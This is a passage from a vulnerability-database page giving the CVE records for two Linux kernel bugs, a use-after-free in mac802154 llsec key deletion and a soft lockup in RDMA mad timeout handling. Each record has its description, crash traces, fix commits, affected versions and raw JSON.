In the Linux kernel, the following vulnerability has been resolved: mac802154: fix llsec key resources release in mac802154_llsec_key_del mac802154_llsec_key_del() can free resources of a key directly without following the RCU rules for waiting before the end of a grace period. This may lead to use-after-free in case llsec_lookup_key() is traversing the list of keys in parallel with a key deletion: refcount_t: addition on 0; use-after-free. WARNING: CPU: 4 PID: 16000 at lib/refcount.c:25 refcount_warn_saturate+0x162/0x2a0 Modules linked in: CPU: 4 PID: 16000 Comm: wpan-ping Not tainted 6.7.0 #19 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:refcount_warn_saturate+0x162/0x2a0 Call Trace: <TASK> llsec_lookup_key.isra.0+0x890/0x9e0 mac802154_llsec_encrypt+0x30c/0x9c0 ieee802154_subif_start_xmit+0x24/0x1e0 dev_hard_start_xmit+0x13e/0x690 sch_direct_xmit+0x2ae/0xbc0 __dev_queue_xmit+0x11dd/0x3c20 dgram_sendmsg+0x90b/0xd60 __sys_sendto+0x466/0x4c0 __x64_sys_sendto+0xe0/0x1c0 do_syscall_64+0x45/0xf0 entry_SYSCALL_64_after_hwframe+0x6e/0x76 Also, ieee802154_llsec_key_entry structures are not freed by mac802154_llsec_key_del(): unreferenced object 0xffff8880613b6980 (size 64): comm "iwpan", pid 2176, jiffies 4294761134 (age 60.475s) hex dump (first 32 bytes): 78 0d 8f 18 80 88 ff ff 22 01 00 00 00 00 ad de x......."....... 00 00 00 00 00 00 00 00 03 00 cd ab 00 00 00 00 ................ backtrace: [<ffffffff81dcfa62>] __kmem_cache_alloc_node+0x1e2/0x2d0 [<ffffffff81c43865>] kmalloc_trace+0x25/0xc0 [<ffffffff88968b09>] mac802154_llsec_key_add+0xac9/0xcf0 [<ffffffff8896e41a>] ieee802154_add_llsec_key+0x5a/0x80 [<ffffffff8892adc6>] nl802154_add_llsec_key+0x426/0x5b0 [<ffffffff86ff293e>] genl_family_rcv_msg_doit+0x1fe/0x2f0 [<ffffffff86ff46d1>] genl_rcv_msg+0x531/0x7d0 [<ffffffff86fee7a9>] netlink_rcv_skb+0x169/0x440 [<ffffffff86ff1d88>] genl_rcv+0x28/0x40 [<ffffffff86fec15c>] netlink_unicast+0x53c/0x820 [<ffffffff86fecd8b>] netlink_sendmsg+0x93b/0xe60 [<ffffffff86b91b35>] ____sys_sendmsg+0xac5/0xca0 [<ffffffff86b9c3dd>] ___sys_sendmsg+0x11d/0x1c0 [<ffffffff86b9c65a>] __sys_sendmsg+0xfa/0x1d0 [<ffffffff88eadbf5>] do_syscall_64+0x45/0xf0 [<ffffffff890000ea>] entry_SYSCALL_64_after_hwframe+0x6e/0x76 Handle the proper resource release in the RCU callback function mac802154_llsec_key_del_rcu(). Note that if llsec_lookup_key() finds a key, it gets a refcount via llsec_key_get() and locally copies key id from key_entry (which is a list element). So it's safe to call llsec_key_put() and free the list entry after the RCU grace period elapses. Found by Linux Verification Center (linuxtesting.org).

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/068ab2759bc0b4daf…
https://git.kernel.org/stable/c/d3d858650933d44ac…
https://git.kernel.org/stable/c/dcd51ab42b7a04315…
https://git.kernel.org/stable/c/20d3e1c8a18474972…
https://git.kernel.org/stable/c/640297c3e897bd7e1…
https://git.kernel.org/stable/c/49c8951680d7b76fc…
https://git.kernel.org/stable/c/e8a1e58345cf40b7b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5d637d5aabd85132bd85779677d8acb708e0ed90 , < 068ab2759bc0b4daf0b964de61b2731449c86531 (git) Affected: 5d637d5aabd85132bd85779677d8acb708e0ed90 , < d3d858650933d44ac12c1f31337e7110c2071821 (git) Affected: 5d637d5aabd85132bd85779677d8acb708e0ed90 , < dcd51ab42b7a0431575689c5f74b8b6efd45fc2f (git) Affected: 5d637d5aabd85132bd85779677d8acb708e0ed90 , < 20d3e1c8a1847497269f04d874b2a5818ec29e2d (git) Affected: 5d637d5aabd85132bd85779677d8acb708e0ed90 , < 640297c3e897bd7e1481466a6a5cb9560f1edb88 (git) Affected: 5d637d5aabd85132bd85779677d8acb708e0ed90 , < 49c8951680d7b76fceaee89dcfbab1363fb24fd1 (git) Affected: 5d637d5aabd85132bd85779677d8acb708e0ed90 , < e8a1e58345cf40b7b272e08ac7b32328b2543e40 (git)
Linux	Linux	Affected: 3.16 Unaffected: 0 , < 3.16 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26961",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T17:51:17.536237Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:48:15.130Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.779Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/068ab2759bc0b4daf0b964de61b2731449c86531"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d3d858650933d44ac12c1f31337e7110c2071821"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dcd51ab42b7a0431575689c5f74b8b6efd45fc2f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/20d3e1c8a1847497269f04d874b2a5818ec29e2d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/640297c3e897bd7e1481466a6a5cb9560f1edb88"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/49c8951680d7b76fceaee89dcfbab1363fb24fd1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e8a1e58345cf40b7b272e08ac7b32328b2543e40"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:51.260Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/cfg802154.h",
            "net/mac802154/llsec.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "068ab2759bc0b4daf0b964de61b2731449c86531",
              "status": "affected",
              "version": "5d637d5aabd85132bd85779677d8acb708e0ed90",
              "versionType": "git"
            },
            {
              "lessThan": "d3d858650933d44ac12c1f31337e7110c2071821",
              "status": "affected",
              "version": "5d637d5aabd85132bd85779677d8acb708e0ed90",
              "versionType": "git"
            },
            {
              "lessThan": "dcd51ab42b7a0431575689c5f74b8b6efd45fc2f",
              "status": "affected",
              "version": "5d637d5aabd85132bd85779677d8acb708e0ed90",
              "versionType": "git"
            },
            {
              "lessThan": "20d3e1c8a1847497269f04d874b2a5818ec29e2d",
              "status": "affected",
              "version": "5d637d5aabd85132bd85779677d8acb708e0ed90",
              "versionType": "git"
            },
            {
              "lessThan": "640297c3e897bd7e1481466a6a5cb9560f1edb88",
              "status": "affected",
              "version": "5d637d5aabd85132bd85779677d8acb708e0ed90",
              "versionType": "git"
            },
            {
              "lessThan": "49c8951680d7b76fceaee89dcfbab1363fb24fd1",
              "status": "affected",
              "version": "5d637d5aabd85132bd85779677d8acb708e0ed90",
              "versionType": "git"
            },
            {
              "lessThan": "e8a1e58345cf40b7b272e08ac7b32328b2543e40",
              "status": "affected",
              "version": "5d637d5aabd85132bd85779677d8acb708e0ed90",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/cfg802154.h",
            "net/mac802154/llsec.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.16"
            },
            {
              "lessThan": "3.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmac802154: fix llsec key resources release in mac802154_llsec_key_del\n\nmac802154_llsec_key_del() can free resources of a key directly without\nfollowing the RCU rules for waiting before the end of a grace period. This\nmay lead to use-after-free in case llsec_lookup_key() is traversing the\nlist of keys in parallel with a key deletion:\n\nrefcount_t: addition on 0; use-after-free.\nWARNING: CPU: 4 PID: 16000 at lib/refcount.c:25 refcount_warn_saturate+0x162/0x2a0\nModules linked in:\nCPU: 4 PID: 16000 Comm: wpan-ping Not tainted 6.7.0 #19\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2-debian-1.16.2-1 04/01/2014\nRIP: 0010:refcount_warn_saturate+0x162/0x2a0\nCall Trace:\n \u003cTASK\u003e\n llsec_lookup_key.isra.0+0x890/0x9e0\n mac802154_llsec_encrypt+0x30c/0x9c0\n ieee802154_subif_start_xmit+0x24/0x1e0\n dev_hard_start_xmit+0x13e/0x690\n sch_direct_xmit+0x2ae/0xbc0\n __dev_queue_xmit+0x11dd/0x3c20\n dgram_sendmsg+0x90b/0xd60\n __sys_sendto+0x466/0x4c0\n __x64_sys_sendto+0xe0/0x1c0\n do_syscall_64+0x45/0xf0\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\n\nAlso, ieee802154_llsec_key_entry structures are not freed by\nmac802154_llsec_key_del():\n\nunreferenced object 0xffff8880613b6980 (size 64):\n  comm \"iwpan\", pid 2176, jiffies 4294761134 (age 60.475s)\n  hex dump (first 32 bytes):\n    78 0d 8f 18 80 88 ff ff 22 01 00 00 00 00 ad de  x.......\".......\n    00 00 00 00 00 00 00 00 03 00 cd ab 00 00 00 00  ................\n  backtrace:\n    [\u003cffffffff81dcfa62\u003e] __kmem_cache_alloc_node+0x1e2/0x2d0\n    [\u003cffffffff81c43865\u003e] kmalloc_trace+0x25/0xc0\n    [\u003cffffffff88968b09\u003e] mac802154_llsec_key_add+0xac9/0xcf0\n    [\u003cffffffff8896e41a\u003e] ieee802154_add_llsec_key+0x5a/0x80\n    [\u003cffffffff8892adc6\u003e] nl802154_add_llsec_key+0x426/0x5b0\n    [\u003cffffffff86ff293e\u003e] genl_family_rcv_msg_doit+0x1fe/0x2f0\n    [\u003cffffffff86ff46d1\u003e] genl_rcv_msg+0x531/0x7d0\n    [\u003cffffffff86fee7a9\u003e] netlink_rcv_skb+0x169/0x440\n    [\u003cffffffff86ff1d88\u003e] genl_rcv+0x28/0x40\n    [\u003cffffffff86fec15c\u003e] netlink_unicast+0x53c/0x820\n    [\u003cffffffff86fecd8b\u003e] netlink_sendmsg+0x93b/0xe60\n    [\u003cffffffff86b91b35\u003e] ____sys_sendmsg+0xac5/0xca0\n    [\u003cffffffff86b9c3dd\u003e] ___sys_sendmsg+0x11d/0x1c0\n    [\u003cffffffff86b9c65a\u003e] __sys_sendmsg+0xfa/0x1d0\n    [\u003cffffffff88eadbf5\u003e] do_syscall_64+0x45/0xf0\n    [\u003cffffffff890000ea\u003e] entry_SYSCALL_64_after_hwframe+0x6e/0x76\n\nHandle the proper resource release in the RCU callback function\nmac802154_llsec_key_del_rcu().\n\nNote that if llsec_lookup_key() finds a key, it gets a refcount via\nllsec_key_get() and locally copies key id from key_entry (which is a\nlist element). So it\u0027s safe to call llsec_key_put() and free the list\nentry after the RCU grace period elapses.\n\nFound by Linux Verification Center (linuxtesting.org)."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:07:44.061Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/068ab2759bc0b4daf0b964de61b2731449c86531"
        },
        {
          "url": "https://git.kernel.org/stable/c/d3d858650933d44ac12c1f31337e7110c2071821"
        },
        {
          "url": "https://git.kernel.org/stable/c/dcd51ab42b7a0431575689c5f74b8b6efd45fc2f"
        },
        {
          "url": "https://git.kernel.org/stable/c/20d3e1c8a1847497269f04d874b2a5818ec29e2d"
        },
        {
          "url": "https://git.kernel.org/stable/c/640297c3e897bd7e1481466a6a5cb9560f1edb88"
        },
        {
          "url": "https://git.kernel.org/stable/c/49c8951680d7b76fceaee89dcfbab1363fb24fd1"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8a1e58345cf40b7b272e08ac7b32328b2543e40"
        }
      ],
      "title": "mac802154: fix llsec key resources release in mac802154_llsec_key_del",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26961",
    "datePublished": "2024-05-01T05:19:16.361Z",
    "dateReserved": "2024-02-19T14:20:24.201Z",
    "dateUpdated": "2026-05-12T11:50:51.260Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50095 (GCVE-0-2024-50095)

Vulnerability from cvelistv5 – Published: 2024-11-05 17:04 – Updated: 2026-05-12 12:00

Title

RDMA/mad: Improve handling of timed out WRs of mad agent

Summary

In the Linux kernel, the following vulnerability has been resolved: RDMA/mad: Improve handling of timed out WRs of mad agent Current timeout handler of mad agent acquires/releases mad_agent_priv lock for every timed out WRs. This causes heavy locking contention when higher no. of WRs are to be handled inside timeout handler. This leads to softlockup with below trace in some use cases where rdma-cm path is used to establish connection between peer nodes Trace: ----- BUG: soft lockup - CPU#4 stuck for 26s! [kworker/u128:3:19767] CPU: 4 PID: 19767 Comm: kworker/u128:3 Kdump: loaded Tainted: G OE ------- --- 5.14.0-427.13.1.el9_4.x86_64 #1 Hardware name: Dell Inc. PowerEdge R740/01YM03, BIOS 2.4.8 11/26/2019 Workqueue: ib_mad1 timeout_sends [ib_core] RIP: 0010:__do_softirq+0x78/0x2ac RSP: 0018:ffffb253449e4f98 EFLAGS: 00000246 RAX: 00000000ffffffff RBX: 0000000000000000 RCX: 000000000000001f RDX: 000000000000001d RSI: 000000003d1879ab RDI: fff363b66fd3a86b RBP: ffffb253604cbcd8 R08: 0000009065635f3b R09: 0000000000000000 R10: 0000000000000040 R11: ffffb253449e4ff8 R12: 0000000000000000 R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000040 FS: 0000000000000000(0000) GS:ffff8caa1fc80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fd9ec9db900 CR3: 0000000891934006 CR4: 00000000007706e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: <IRQ> ? show_trace_log_lvl+0x1c4/0x2df ? show_trace_log_lvl+0x1c4/0x2df ? __irq_exit_rcu+0xa1/0xc0 ? watchdog_timer_fn+0x1b2/0x210 ? __pfx_watchdog_timer_fn+0x10/0x10 ? __hrtimer_run_queues+0x127/0x2c0 ? hrtimer_interrupt+0xfc/0x210 ? __sysvec_apic_timer_interrupt+0x5c/0x110 ? sysvec_apic_timer_interrupt+0x37/0x90 ? asm_sysvec_apic_timer_interrupt+0x16/0x20 ? __do_softirq+0x78/0x2ac ? __do_softirq+0x60/0x2ac __irq_exit_rcu+0xa1/0xc0 sysvec_call_function_single+0x72/0x90 </IRQ> <TASK> asm_sysvec_call_function_single+0x16/0x20 RIP: 0010:_raw_spin_unlock_irq+0x14/0x30 RSP: 0018:ffffb253604cbd88 EFLAGS: 00000247 RAX: 000000000001960d RBX: 0000000000000002 RCX: ffff8cad2a064800 RDX: 000000008020001b RSI: 0000000000000001 RDI: ffff8cad5d39f66c RBP: ffff8cad5d39f600 R08: 0000000000000001 R09: 0000000000000000 R10: ffff8caa443e0c00 R11: ffffb253604cbcd8 R12: ffff8cacb8682538 R13: 0000000000000005 R14: ffffb253604cbd90 R15: ffff8cad5d39f66c cm_process_send_error+0x122/0x1d0 [ib_cm] timeout_sends+0x1dd/0x270 [ib_core] process_one_work+0x1e2/0x3b0 ? __pfx_worker_thread+0x10/0x10 worker_thread+0x50/0x3a0 ? __pfx_worker_thread+0x10/0x10 kthread+0xdd/0x100 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x29/0x50 </TASK> Simplified timeout handler by creating local list of timed out WRs and invoke send handler post creating the list. The new method acquires/ releases lock once to fetch the list and hence helps to reduce locking contetiong when processing higher no. of WRs

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-noinfo Not enough information

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/713adaf0ecfc49405…
https://git.kernel.org/stable/c/7022a517bf1ca37ef…
https://git.kernel.org/stable/c/e80eadb3604a92d2d…
https://git.kernel.org/stable/c/a195a42dd25ca4f12…
https://git.kernel.org/stable/c/3e799fa463508abe7…
https://git.kernel.org/stable/c/2a777679b8ccd09a9…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 713adaf0ecfc49405f6e5d9e409d984f628de818 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7022a517bf1ca37ef5a474365bcc5eafd345a13a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e80eadb3604a92d2d086e956b8b2692b699d4d0a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < a195a42dd25ca4f12489687065d00be64939409f (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 3e799fa463508abe7a738ce5d0f62a8dfd05262a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 2a777679b8ccd09a9a65ea0716ef10365179caac (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50095",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T20:22:52.541400Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T20:27:19.395Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:25:24.738Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:13.710Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/core/mad.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "713adaf0ecfc49405f6e5d9e409d984f628de818",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "7022a517bf1ca37ef5a474365bcc5eafd345a13a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e80eadb3604a92d2d086e956b8b2692b699d4d0a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "a195a42dd25ca4f12489687065d00be64939409f",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "3e799fa463508abe7a738ce5d0f62a8dfd05262a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "2a777679b8ccd09a9a65ea0716ef10365179caac",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/core/mad.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
